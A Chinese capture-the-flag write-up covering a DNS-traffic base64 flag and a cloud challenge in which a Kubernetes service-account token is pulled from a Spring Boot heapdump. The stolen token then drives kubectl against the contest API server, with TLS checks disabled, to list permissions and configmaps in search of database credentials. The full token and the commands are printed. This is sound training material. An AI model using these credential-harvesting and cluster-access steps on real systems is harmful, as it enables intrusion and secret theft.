一、[闽盾杯 2021]DNS协议分析
1.打开流量,过滤dns类型,发现一些类似于base64的编码,并且有规律的出现
2.全部提取,ZmxhZ3tlNjYyYWMxNTRjYTM3NmUxYzAwMWVlOGJiZTgxMzE4Yn0K,base64在线解码
二、云
1.
1.1得到一个URL,进去后界面显示一个hint的链接
1.2告诉我们整体是一个 Spring Boot应用程序,并且与暴露的Mysql的database连接,database的端口号是31306
1.3提示“By the way, we are in a pod.”去百度pod是什么,得到关键信息,这个远程的系统跟Kubernetes集群有关
Pod 是可以在 Kubernetes 中创建和管理的、最小的可部署的计算单元。
1.4进到hint中,发现只暴露了一个heapdump的端口供下载内存文件heapdump
heapdump是堆转储文件,是一个Java进程在某个时间点上的内存快照,使用MAT进行分析heapdump
2.
2.1找Spring boot 和Kuberbetes和有什么关系,发现了一个Spring Cloud K8s的微服务应用程序,就是使用Kubernetes和Spring Cloud来构建,然后就猜测我们可以使用本地的kubectl(kali上的Kubernetes集成工具)通过token去本地连接远程的apiserver,然后就是找在heapdump中找token
2.2直接用MAT搜索TokenFileAuthentication,kubernetes,Mysql等关键词,在class io.kubernetes.client.util.credentials.TokenFileAuthentication中发现了token(后来了解到Spring Cloud K8s 中通常会维护一个持有 class io.kubernetes.client.util.credentials.TokenFileAuthentication 对象的bean,使得serviceaccount Token⻓期驻留在内存中)
3.去网站解密一下,发现这段token就是集成了账户等登录信息。在token中我们可以看到namespace :dolphin-ctf(后续命令中需要使用到)那么使用这个token和kubectl就可以去远程访问,详细用法可以看
https://www.mankier.com/1/kubectl
4.命令如下:
export KUBE='eyJhbGciOiJSUzI1NiIsImtpZCI6ImtVTWNEcC1QaG5HYXJJTjRPbjJrY0M1UkZURjIyTTZQcGF3WXpNOU5YaUUifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzE1NDExOTc2LCJpYXQiOjE2ODM4NzU5NzYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkb2xwaGluLWN0ZiIsInBvZCI6eyJuYW1lIjoiZGVwbG95LWN0Zi03Zjg1ZDdiNDVjLWhoN2ZsIiwidWlkIjoiMTUyYzU1NWYtNGY4ZS00ZDQxLWExMGYtZDYyZjBiNmUwM2JmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJqYXZhLXN1cGVydmlzb3IiLCJ1aWQiOiI0ZjZmYWU5MC00YzdhLTQ1YTYtYTAwMy03ZGE0ZWU4MjdjOGMifSwid2FybmFmdGVyIjoxNjgzODc5NTgzfSwibmJmIjoxNjgzODc1OTc2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZG9scGhpbi1jdGY6amF2YS1zdXBlcnZpc29yIn0.PMfJjeSPTYq0BrKy-jOCaceTaIGyJNo0e3DqEMclZ69IU4HEbeQAFHDyB8JolZNzy6ZJ34s2j5G5CVYQMXZqELQdnShf7oUkhpt4zZI3xsjfQ0Qq8azdhtwJLZMWuoZP-xmZtFwYZ-pn7Ra_snymFRdX71J6826fMI0CPoWuRz1uUMopyfwHYEb0r7ztmEPK6U8mtiyEIlgcDen4je2kYFTkhnQhYS1Qe4JMonOzrR0vedIG3ZFjrcj5Fx72rYdLmgFboOD7b3rGL-8Dv1ySvn6KHu2USTdDoZBkHuBtX5G02EBz0KKl8t4bMxgZIbX-IwGnp7gbSl50YbGT4IWBUw'
4.1首先使用export设置一个名为KUBE的环境变量,用来导入token(方便后续调用)
alias k='kubectl --token=$KUBE --server=https://dasctf-4-cloud-hacking.cloud.eson.ninja:6443 --insecure-skip-tls-verify=true'
4.2然后定义一个新的命令k(方便后面直接使用命令名称进行获取权限读取文件),--token=$KUBE是指使用token作为身份验证令牌,--server是指连接到指定的Kubernetes API服务器的地址和端口,端口连接的是6443,查一下API接口常用的是443,6443和8080,只有6443连接成功,--insecure-skip-tls-verify=true 表示禁用对API服务器SSL证书的验证。
5.
5.1连接集群成功之后,先查看我们拥有哪些权限,就是进行API鉴权,kubectl 提供 auth can-i 子命令,用于快速查询 API 鉴权,命令如下:
k auth can-i --list -n dolphin-ctf
5.2发现我们对configmaps具有get list watch的权利,同时根据最开始题目给的mysql database端口号,猜测我们要获取到集群的数据库的账号和密码,那就找一下配置信息
5.3看了一篇博客
https://blog.csdn.net/yy_diego/article/details/109362884
得知配置信息一般可以在configmaps资源中找到,使用命令找一下
k get configmaps -o json -n dolphin-ctf